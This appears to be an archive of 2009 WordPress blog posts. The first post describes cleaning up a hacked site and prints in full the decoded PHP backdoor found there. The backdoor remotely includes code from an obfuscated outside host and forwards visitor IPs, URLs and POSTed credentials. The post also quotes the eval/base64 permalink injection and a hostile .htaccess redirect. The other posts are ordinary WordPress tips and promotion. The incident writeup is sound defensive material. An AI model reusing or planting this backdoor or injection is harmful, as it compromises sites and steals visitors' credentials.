I Like WordPress!

Cleaning Up the Aftermath of a Hacker Attack

Steve — Wed, 09 Sep 2009 17:52:28 +0000

The same project that led to the post Loading WordPress From index.php involved cleaning up after a hacking incident. In fact, that’s what the initial work order was for.

This blog was hit recently by the same attack that has been in the news for the last few days. Lorelle on Wordpress wrote some things about it:

There are two clues that your WordPress site has been attacked.

There are strange additions to the pretty permalinks, such as example.com/category/post-title/%&(%7B$%7Beval(base64_decode($_SERVER%5BHTTP_REFERER%5D))%7D%7D|.+)&%/. The keywords are “eval” and “base64_decode.”

The second clue is that a “back door” was created by a “hidden” Administrator. Check your site users for “Administrator (2)” or a name you do not recognize. You will probably be unable to access that account, but Journey Etc. has a possible solution.

This blog was different in that there were no other admin accounts created. The same code was appearing in permalinks ( and was, indeed, shown in Settings -> Permalinks ).

Another symptom of this type of general attack are posts that are filled with spam links enclosed within HTML comment tags. You’ll not see them, but Google does.

Looking a little deeper, I found evidence of another previous hack job. The server error log contained hundreds of these entries:

[Wed Sep  8 11:40:16 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/downlaod.nod.32.php
[Wed Sep  8 11:38:31 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/instalation.com.php
[Wed Sep  8 11:38:04 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/muonline.win_mu.php
[Wed Sep  8 11:36:19 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/DV-driver.crack.php
[Wed Sep  8 11:35:53 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/koolmoves.5.key.php
[Wed Sep  8 11:34:34 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/inurl:.free.xxx.php
[Wed Sep  8 11:33:16 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/crak.do.flash.5.php
[Wed Sep  8 11:32:23 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/wow.1.10.2.enus.php
[Wed Sep  8 11:31:31 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/torrent.stylexp.php
[Wed Sep  8 11:28:53 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/crack.for.harry.php

WTF? 66.249.71.154, according to reverse IP lookup, is Googlebot. Why is Googlebot trying to load these files? Still haven’t found the answer to THAT question. But what I find next begins to shed some light…

I poke around in the filesystem, and I find a number of folders within the WordPress wp-content folder that had extra files added to them (including the plugins/podpress folder):

.htaccess
date.php
time.php
include.php

The filenames between the folders were all different, with the exception that they all had an .htaccess file. Here’s what was in .htaccess file in the wp-content/header folder:

Options -MultiViews

ErrorDocument 404 //wp-content/header/time.php

So what’s happening is that any request for http://domain.com/wp-content/themes/header/anyfilename.php would result in time.php being served as the 404 page.

And time.php (along with all the other added php files) is a nasty little bugger:

So the code turns off error reporting, then says to eval (run) the code enclosed in quote marks after base64 decoding. I haven’t taken the time to figure out what the class that the file defines does, but somehow I don’t think it’s anything nice. After decoding, this is the file contents:


 0,'ino' => 0,'mode' => 0,'nlink' => 1,'uid' => 0,'gid' => 0,'rdev' => -1,'size' => 0,'atime' => 0,'mtime' => 0,'ctime' => 0,'blksize' => -1,'blocks' => 0);
function error($msg='not connected') {if ($this->options & STREAM_REPORT_ERRORS) {trigger_error($msg, E_USER_WARNING);}return false;}
function stream_open($path, $mode, $options, $opened_path) {$this->fullurl = $path;$this->options = $options;$this->defmode = $mode;$url = parse_url($path);if (empty($url['host'])) {return $this->error('missing host name');}$this->conn_id = fsockopen($url['host'], (empty($url['port']) ? 80 : intval($url['port'])), $errno, $errstr, 2);if (!$this->conn_id) {return false;} if (empty($url['path'])) {$url['path'] = '/';}$this->p_url = $url;$this->flushed = false;if ($mode[0] != 'r' || (strpos($mode, '+') !== false)) {$this->mode += 2;}$this->binary = (strpos($mode, 'b') !== false);$c = $this->context();if (!isset($c['method'])) {stream_context_set_option($this->context, 'http', 'method', 'GET');}if (!isset($c['header'])) {stream_context_set_option($this->context, 'http', 'header', '');}if (!isset($c['user_agent'])) {stream_context_set_option($this->context, 'http', 'user_agent', ini_get('user_agent'));}if (!isset($c['content'])) {stream_context_set_option($this->context, 'http', 'content', '');}if (!isset($c['max_redirects'])) {stream_context_set_option($this->context, 'http', 'max_redirects', 5);}return true;}
function stream_close() { if ($this->conn_id) { fclose($this->conn_id);$this->conn_id = null;} }
function stream_read($bytes) { if (!$this->conn_id) { return $this->error();} if (!$this->flushed && !$this->stream_flush()) { return false;} if (feof($this->conn_id)) { return '';} $bytes = max(1,$bytes);if ($this->binary) { return fread($this->conn_id, $bytes);} else { return fgets($this->conn_id, $bytes);} }
function stream_write($data) { if (!$this->conn_id) { return $this->error();} if (!$this->mode & 2) { return $this->error('Stream is in read-only mode');} $c = $this->context();stream_context_set_option($this->context, 'http', 'method', (($this->defmode[0] == 'x') ? 'PUT' : 'POST'));if (stream_context_set_option($this->context, 'http', 'content', $c['content'].$data)) { return strlen($data);} return 0;}
function stream_eof() { if (!$this->conn_id) { return true;} if (!$this->flushed) { return false;} return feof($this->conn_id);}
function stream_seek($offset, $whence) { return false;}
function stream_tell() { return 0;}
function stream_flush() { if ($this->flushed) { return false;} if (!$this->conn_id) { return $this->error();} $c = $this->context();$this->flushed = true;$RequestHeaders = array($c['method'].' '.$this->p_url['path'].(empty($this->p_url['query']) ? '' : '?'.$this->p_url['query']).' HTTP/1.0', 'HOST: '.$this->p_url['host'], 'User-Agent: '.$c['user_agent'].' StreamReader' );if (!empty($c['header'])) { $RequestHeaders[] = $c['header'];} if (!empty($c['content'])) { if ($c['method'] == 'PUT') { $RequestHeaders[] = 'Content-Type: '.($this->binary ? 'application/octet-stream' : 'text/plain');} else { $RequestHeaders[] = 'Content-Type: application/x-www-form-urlencoded';} $RequestHeaders[] = 'Content-Length: '.strlen($c['content']);} $RequestHeaders[] = 'Connection: close';if (fwrite($this->conn_id, implode("\r\n", $RequestHeaders)."\r\n\r\n") === false) { return false;} if (!empty($c['content']) && fwrite($this->conn_id, $c['content']) === false) { return false;} global $http_response_header;$http_response_header = fgets($this->conn_id, 300);$data = rtrim($http_response_header);preg_match('#.* ([0-9]+) (.*)#i', $data, $head);if (($head[1] >= 301 && $head[1] <= 303) || $head[1] == 307) { $data = rtrim(fgets($this->conn_id, 300));while (!empty($data)) { if (strpos($data, 'Location: ') !== false) { $new_location = trim(str_replace('Location: ', '', $data));break;} $data = rtrim(fgets($this->conn_id, 300));} trigger_error($this->fullurl.' '.$head[2].': '.$new_location, E_USER_NOTICE);$this->stream_close();return ($c['max_redirects'] > $this->redirects++ && $this->stream_open($new_location, $this->defmode, $this->options, null) && $this->stream_flush());} $data = rtrim(fgets($this->conn_id, 1024));while (!empty($data)) { $http_response_header .= $data."\r\n";if (strpos($data,'Content-Length: ') !== false) { $this->stat['size'] = trim(str_replace('Content-Length: ', '', $data));} elseif (strpos($data,'Date: ') !== false) { $this->stat['atime'] = strtotime(str_replace('Date: ', '', $data));} elseif (strpos($data,'Last-Modified: ') !== false) { $this->stat['mtime'] = strtotime(str_replace('Last-Modified: ', '', $data));} $data = rtrim(fgets($this->conn_id, 1024));} if ($head[1] >= 400) { trigger_error($this->fullurl.' '.$head[2], E_USER_WARNING);return false;} if ($head[1] == 304) { trigger_error($this->fullurl.' '.$head[2], E_USER_NOTICE);return false;} return true;}
function stream_stat() { $this->stream_flush();return $this->stat;}
function dir_opendir($path, $options) { return false;}
function dir_readdir() { return '';}
function dir_rewinddir() { return '';}
function dir_closedir() { return;}
function url_stat($path, $flags) { return array();}
function context() { if (!$this->context) { $this->context = stream_context_create();} $c = stream_context_get_options($this->context);return (isset($c['http']) ? $c['http'] : array());}}
if(isset($_POST["l"]) and isset($_POST["p"])){if(isset($_POST["input"])){$user_auth="&l=".base64_encode($_POST["l"])."&p=".base64_encode(md5($_POST["p"]));} else {$user_auth="&l=".$_POST["l"]."&p=".$_POST["p"];}} else {$user_auth="";}if(!isset($_POST["log_flg"])){$log_flg="&log";}$rkht=1;if(version_compare(PHP_VERSION,'5.2','>=')){if(ini_get('allow_url_include')){$rkht=1;}else{$rkht=0;}}if($rkht==1){if(ini_get('allow_url_fopen')){$rkht=1;}else{$rkht=0;}}$v=$p.base64_decode("LnVzZXJzLmJpc2hlbGwucnU=")."/?r_addr=".sprintf("%u", ip2long(getenv("REMOTE_ADDR")))."&url=".base64_encode($_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"]).$user_auth.$log_flg;if($rkht==1){if(!@include_once(base64_decode("aHR0cDovLw==").$v)){}}else{stream_wrapper_register('http2','newhttp');if(!@include_once(base64_decode("aHR0cDI6Ly8=").$v)){}}
?>

Anyway, that’s what I found, that’s what I had to clean up. Six and a half hours to go through all of the files looking for this thing, cleaning up as I went.

UPDATE:

Since writing this post, I’ve completed 4 more site cleanups — each averaging over 4 hours. Gets rather expensive, guys and girls.

Please keep your WordPress installs up to date. That’s the most efficient way to guard against this kind of maliciousness.

564 Total TweetBacks: (Tweet this post)

Loading WordPress From index.php

Steve — Wed, 09 Sep 2009 16:31:13 +0000

One of WordPress’ strengths is its attention to SEO-related issues in its core files. One of those issues is the problem of having the home page of the blog indexed twice in the search engines; once under the actual address, http://domain-name.com/index.php, and the other as the plain domain name: http://domain-name.com. Note that this is a different problem than the trailing slash problem ( http://domain-name.com/ vs. http://domain-name.com ) which WordPress also takes care of.

WordPress handles the index.php problem by rewriting requests for http://domain-name.com/index.php to http://domain-name.com. All well and good, and beneficial for most sites.

But that rewriting/redirecting caused some problems on a site I was working on yesterday, and once I figured out how, it was a relatively easy fix.

Here’s what happened: a client had me upgrade an old installation of SemioLogic’s version of WordPress to genuine WordPress. While it can be time-consuming, switching over is a fairly straightforward process most of the time. The challenge here was that while most of the site is normal .html files, WordPress is installed at the root level, and is not actually serving the ‘home’ page of the site.

So you can maybe see where this is headed: the ‘home’ page of the site is index.html. That’s what comes up when you ask for http://domain-name.com. The server is set to look for index.html first, then index.php if index.html isn’t there. So to get to the blog, you had to ask for http://domain-name.com/index.php.

But when you asked for index.php, WordPress, being the dutiful SEO-friendly software that it is, stripped off “index.php” from the request, and redirected to http://domain-name.com.

The server saw the request for the site index file and promptly served up index.html. So you couldn’t get to the home page of the blog. If you had a specific post URL and typed it in, it worked fine.

Easy fix, says I. Settings -> General, change the WordPress url to http://domain-name.com/index.php from http://domain-name.com.

Oops. Now all the permalinks have ‘index.php/’ prepended: http://domain-name.com/index.php/i-want-this-post. Not good, and not intended, especially as the site has been indexed in Google without the index.php in there.

I never did figure out how SemioLogic handled this; obviously it was working before the changeover. Undoubtedly there was an easy setting that disappeared once the SL files were gone. I can only think this issue had come up before and the author of SL provided a workaround.

Thankfully, the coders of WordPress also recognized that there may be a time when rewriting URLs wasn’t good so they provided a filter to disable or alter the rewrite. Once I found that notation in includes/canonical.php, the fix was a breeze. Write a plugin that disables the redirect to / when /index.php is called for. Here is the entire plugin:

And that’s all there is to it. Now when a browser asks for ‘index.php’, that’s what it gets instead of a redirection to /.

You could also put this in the functions.php file of a theme, but obviously it wouldn’t work if the theme were changed.

176 Total TweetBacks: (Tweet this post)

Don’t Subscribe To My Post Comments If You’re a SpamArrest Customer

Steve — Sun, 06 Sep 2009 22:03:13 +0000

On this and other blogs, I have a recurring pain in the butt issue. Some people subscribe to a comment thread, and upon every comment following, I get a challenge email from SpamArrest when the notification of a new comment email is sent.

Here’s news: I don’t click the verify link. As a matter of fact, I don’t even GET the verify link. All of those verification emails go straight to my trash can. I realize this might not be very reader-friendly, but I simply don’t have time to open up every email and click those stupid links, even if I were inclined to.

So please – if you’re a spamarrest customer and you want to subscribe to a comment thread, put ilikewordpress.com on whatever kind of whitelist they have so you can get the subscription notifications. Otherwise, you won’t get any notices from this site about updated comments.

No TweetBacks yet. (Be the first to Tweet this post)

Protecting Your WordPress Blog From Hackers, Crackers, and Jerks

Steve — Sun, 06 Sep 2009 20:15:35 +0000

The last few days have seen a rash of hacker attacks on WordPress blogs, with isolated reports going back a month or more. Without exception, as far as I can tell, the successful attacks were on blogs running outdated older versions of WordPress. The latest exploits involve hidden admin users and permalinks polluted with javascript code, outlined in these posts on the WordPress support forum:

http://wordpress.org/support/topic/307652
http://wordpress.org/support/topic/297639
http://wordpress.org/support/topic/307518

WP 2.8.3 and 2.8.4 are NOT vulnerable to this exploit. If you’ve been hacked any time in the last month, and you’re running pre-2.8.3 software, the monkey’s on YOUR back. If you were hacked and running up-to-date version of WP, send the details to security@wordpress.org please.

If you’ve been lax and haven’t upgraded to the latest version, don’t do it until you’ve determined whether or not you’ve already been invaded. If you have, clean it up first, then upgrade. (Be sure you read the “Beyond Upgrading” section at the end of this post)

How To Tell If You’ve Been Hacked

Two clues: check your permalinks, check your administrator users.

Permalinks: from your front page, hover over a link to a single post. Look in the status bar at the bottom of your browser. If you see text like ‘mypost/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/‘ then you’ve been had.

Log into your dashboard, go to the Users->Authors and Users page. At the top, you’ll see links that let you display users by their status. Look at the Administrator (x) link. How many admins do you have on your blog? If you’ve been hacked, the number in parentheses will be one higher than your actual admin count. In other words, if you’re a single-person blogger, you’ll see (2) for the Administrator count.

There are a couple of other hacks out there that aren’t related to this one; we’ll cover those in a little bit.

What To Do If You’ve Been Hacked

I’m going to be right up front with you — this one isn’t an easy one to clean up.

Step #1: clean up your permalink structure. Hover over a link to a post on your blog, and make a note of your permalink structure. The two most popular permalink structures are ‘day – name’, i.e. http://ilikewordpress.com/2009/09/06/sample-post/ or ‘month-name’, i.e. http://ilikewordpress.com/2009/09/sample-post/ . Some more advanced users may have different setups.

In your Dashboard, go to Settings -> Permalinks. In the input box, delete all the malicious code. What you leave will vary, determined by what your permalink structure was. If you’re using one of the two ’standard’ structures, select a different one, then reselect your original, then click the Update button. If you’re using a custom structure ( like I am on ilikewordpress.com ), you’ll need to clear the input box and enter the proper tags, i.e. /%post_id%/%postname%/ like I have here.

Step #2: get rid of the extra administrator. This is a little trickier. There are two ways to do this, first is through your Authors & Users page, the second is directly through the database.

Method #1, through the Authors & Users page: follow the instructions here from Journey Etc. to clean out the malicious user.

Method #2, directly through the database, is a little more complicated. Contact me if you want instructions on how to do it. Generally, unless you have other issues, it’s much easier to use Method #1.

Step #3: upgrade your WordPress software.

If you’re stuck with using FTP, follow these upgrade instructions from the WordPress Codex.

If you’re lucky enough ( or had enough foresight ) to be on hosting that gives you shell access, here’s a 5 minute upgrade path:

Log into your hosting account through your SSH client. Navigate to your WordPress folder. Do the following (don’t do the lines prefaced by ## ):


## move config.php out of the way

mv wp-config.php wp-config.php.bak

## get rid of existing WP files

rm -rf wp-includes wp-admin wp-*.php xmlrpc.php

## get new wordpress files

wget http://wordpress.org/latest.zip

## uncompress

unzip latest.zip

## unzipped files were stored in /wordpress, copy from there

cp -R wordpress/* .

## get rid of zip and wordpress dir

rm -rf wordpress latest.zip

## restore config

mv wp-config.php.bak wp-config.php

## done!

If you’ve followed the upgrade path through several versions, it is essential that you upgrade your wp-config.php file to the latest version that contains the authentication keys.

If you want to do it directly on your server through vim, you can, but it’s probably easier to make a new config file and upload it through FTP.

Beyond Upgrading

After you’ve upgraded your WordPress software, you’ll want to make sure you’re doing everything you can to keep this from happening again. Unless, of course, you like cleaning up after these people.

To start, review Michael VanDeMar’s post on How to Completely Clean Your Hacked WordPress Installation. Much good info there.

Second, install the WP Security Scan plugin and use it.

Third, don’t do stupid things. Use strong passwords, upgrade when new releases come out. They’re not just eye candy.

188 Total TweetBacks: (Tweet this post)

Skype Can Be a Pain In the Ass

Steve — Sun, 06 Sep 2009 19:26:16 +0000

I don’t restart my computer very often; it mostly runs 24/7. So when I did have occasion to do a restart, I was hit with the issue that my development instance of Apache wouldn’t start. I would get the error: “Windows could not start Apache 2.2 on Local Computer. For more information, review the System Event Log. If this is a non-Microsoft service, contact the service vendor, and refer to service-specific error code 1.”

Never one to follow instructions, after several retries, much teeth-gnashing and hair-pulling, I decided I might make more headway were I to have a look at the Apache error log.

Nothing. Zip. Zilch. Zero. Nada. Just a note that the httpd.pid file had been overwritten.

So, maybe following suggestions is a good thing. Opened up the WinXP event viewer. Hallelujah, there it is.

“The Apache service named reported the following error: >>> no listening sockets available, shutting down.”

I have Apache configured to listen on port 80, so I don’t have to go through shenanigans when I’m developing a site. What this error is telling me is that port 80 isn’t available to attach to – probably because some other program got there first.

I’ve never had this problem before. What’s different between now and the last time I restarted my machine with no problems?

Aha! I upgraded Skype.

Sure enough: shut down Skype, Apache starts up normally.

Skype was hijacking my listening socket, and because it’s higher up on the auto-start list than Apache, Apache choked.

AFAICT, this wasn’t previous Skype behavior. I’ve never had the issue before, so logically the last upgrade changed things.

So I set Skype to start manually instead of automatically. Problem solved.

45 minutes wasted, never to return. I know that’s not much, but still.

No TweetBacks yet. (Be the first to Tweet this post)

Using My Way Links To Build Incoming Traffic

Steve — Thu, 28 May 2009 23:32:04 +0000

This isn’t strictly WordPress related, but if you are an avid blogger and use your blog(s) for income, then you might want to check out Jonathan Leger’s My Way Links program.

One thing that we’re all looking for as bloggers is traffic. Lots and lots of traffic. To get that traffic, we have to rank well in search engines for the things we write about. One of the biggest boosts to that ranking is incoming links, meaning links on other sites that link to pages or posts on your site.

Those can be difficult to get. For a lot of us, it’s not all that important. We’re content to let the community decide the worth of what we write, and link back to us every once in a while.

If you depend on your blog for income, you can’t afford to do that. A lot of your time is spent on SEO strategies. That’s where the My Way Links program comes in. You can build a variety of incoming links from authority sites at a quicker pace than you normally would be able to. You’ll want to use it in moderation of course, but a tool like this is invaluable when it comes to getting high-quality inbound links that will help get your blog found in the Big G.

I wrote a short note about this on TheFastLane blog also, entitled SEO Linking Strategies. You might want to check it out also.

4 Total TweetBacks: (Tweet this post)

Using PHP Short Tags in Plugins Is a No-No

Steve — Tue, 26 May 2009 01:23:23 +0000

I had a client call up over the weekend in a panic because her blog disappeared.

“Help! All I see is a blank screen!”

“What’s the last thing you did?” says I.

“Updated my theme files,” says she.

So after an hour’s worth of troubleshooting, I found the problem:

Plugin and theme developers: please do us all a favor and do NOT use the short PHP opening tag (
Just because you have your development server set up to recognize short tags doesn’t mean that production servers do. In fact, many if not most of them don’t.

Just a request. Yeah, I suppose I make some money fixing this stuff when you do that. But I’d rather not.

Bloggers: if you upload a plugin or theme and you get a fatal error saying “Unexpected $end in filename.php at line xx”, this is one of the first things to check.

Unfortunately, if your web server isn’t set up to allow short PHP tags and also doesn’t display errors (production servers shouldn’t display PHP errors or notices) you might just get the dreaded blank white “I’m dead” screen.

Just something to be aware of.

2 Total TweetBacks: (Tweet this post)

Just Released – The Simple Link Cloaker Plugin

Steve — Sun, 24 May 2009 23:57:04 +0000

Anyone who’s ever done any affiliate marketing knows the value of ‘cloaking’ outgoing affiliate links. First, it can deter the occasional commission thief who will strip out your affiliate code and replace it with their own, robbing you of a well-earned commission. Just as importantly, it makes your links more ‘professional’ looking when the visitor hovers over the link and looks down at the status bar. They’re more likely to click if the status bar reads http://myblog.com/i-want-you-to-go-here rather than http://gohere.com/so-i-can?make=some&money. Agreed?

So, lazy affiliate marketer that I am, I looked around for an easy way to cloak affiliate URLs. Easy being the operative word here. I wanted the system to work with WordPress, I didn’t want to upload a new PHP file every time I needed a new affiliate link cloaked, didn’t want to mess with lame meta tags in new files.

I looked around for an existing WordPress plugin that would do the trick, because while I could certainly write one, I didn’t want to. Like I said, I’m a lazy affiliate marketer.

I found several – but they all did WAY more than what I needed. One that I tried even attempted to verify outgoing affiliate URLs – handy, but it added almost a minute to my posting time, and I didn’t really need the verification.

Another did everything but my dirty dishes.

Enough was enough. Broke out the PHP editor and sliced my own.

This plugin is simplicity in action. If you’re at all capable of copying/pasting or writing down a simple URL, and don’t need fancy tracking and CTR stats, this plugin’s for you. You’re not limited to a certain folder name or names, you can make the outgoing URL as long or short as you want it, make it say anything you want. Doesn’t matter.

You can download it here. If you like it, and it helps you make affiliate money easier, you can show your appreciation and buy me a beer Amp. I live on Amps. Especially the Charge lemon-flavored one, and the Tradin’ Paint 3-flavor version.

1 Total TweetBacks: (Tweet this post)

Dealing With Duplicate Content Issues on WordPress Comments Pages

Steve — Sat, 18 Apr 2009 20:44:32 +0000

I saw a tweet today about WordPress comment page duplication issues related to SEO. While the word is still out as to just how much damage it does or doesn’t do to your ability to get found by the Great G, this specific problem is relatively easily fixed — and not by disabling the paged comments feature that the Wizards of WordPress have so kindly coded for us (you ever had a post with 300 comments? you’ll understand what I mean…).

All it takes is a little bit of code in the functions.php file in your theme. If you’re uncomfortable editing your theme files or don’t know how, leave a comment and I’ll whip up a little plugin. This may be a good time to learn to edit your files, though

This little bit of code doesn’t affect anything but WordPress comment pages. If you use WordPress for something other than a plain-vanilla blog, you may need the horsepower of Yoast’s Canonical URLs plugin for WordPress.

So in your functions.php file, insert the following code (I split the echo lines up for clarity, normally they’d be all on one line):

function canonical_for_comments() {
 global $cpage, $post;
 if ( $cpage > 1 ) :
  echo "\n";
  echo "\n";
 endif;
}
add_action( 'wp_head', 'canonical_for_comments' );

Make sure you paste the code before the last ?> characters at the end of the file.

For those of you who care, here’s a quick explanation of what the above code does — you’ll get a short intro into the behind-the-scenes functioning of WordPress.

When a visitor navigates beyond the first page of comments, the variable $cpage contains the page # that’s being displayed. The $post variable contains all of the information about the post. The function tests to see if we’re on a comments page greater than 1, if so, it spits out the characters. But where does it spit them?

That’s controlled by the add_action line. We’re telling WordPress that when it’s building the head section (‘wp-head’), to add our special ‘canonical_for_comments’ function.

Simple, easy schmeezy.

12 Total TweetBacks: (Tweet this post)

Why I’ll Probably Never Visit Your Blog Again

Steve — Sun, 12 Apr 2009 14:14:53 +0000

In my office, I run on a 8mbs cable connection. In other words, about a bazillion times faster than dialup. I don’t pay the extra money for this kind of speed just because I want the technology. I do it because page load times make a difference in my day.

So when I visit your blog, and I’m stuck waiting on an adserver to spit out an ad, and nothing else on the page is loading, what do you think I’m going to do? Right-o. The little ‘x’ button up in the corner. I’ll say goodbye to what could possibly have become one of my favorite blogs. But I’ll never know, because I refuse to wait for 30 seconds or a minute for your network adserver to respond.

Now, I’m not against ads. Not at all. Not even close. I help people monetize their blogs quite frequently. Advertising of some sort is the life blood of a working blogger.

But do it intelligently.

Hire a developer to rework your templates so the ads load LAST. If you’re with a network that requires scripting in the area of the page, switch networks. Pretty radical? Why? They’re not doing you a favor when their servers are overloaded or slow to respond. You’re losing readers.

Work with your ad providers to provide reader-friendly advertising. You never know – you just might gain more readers and make more money in the process.

9 Total TweetBacks: (Tweet this post)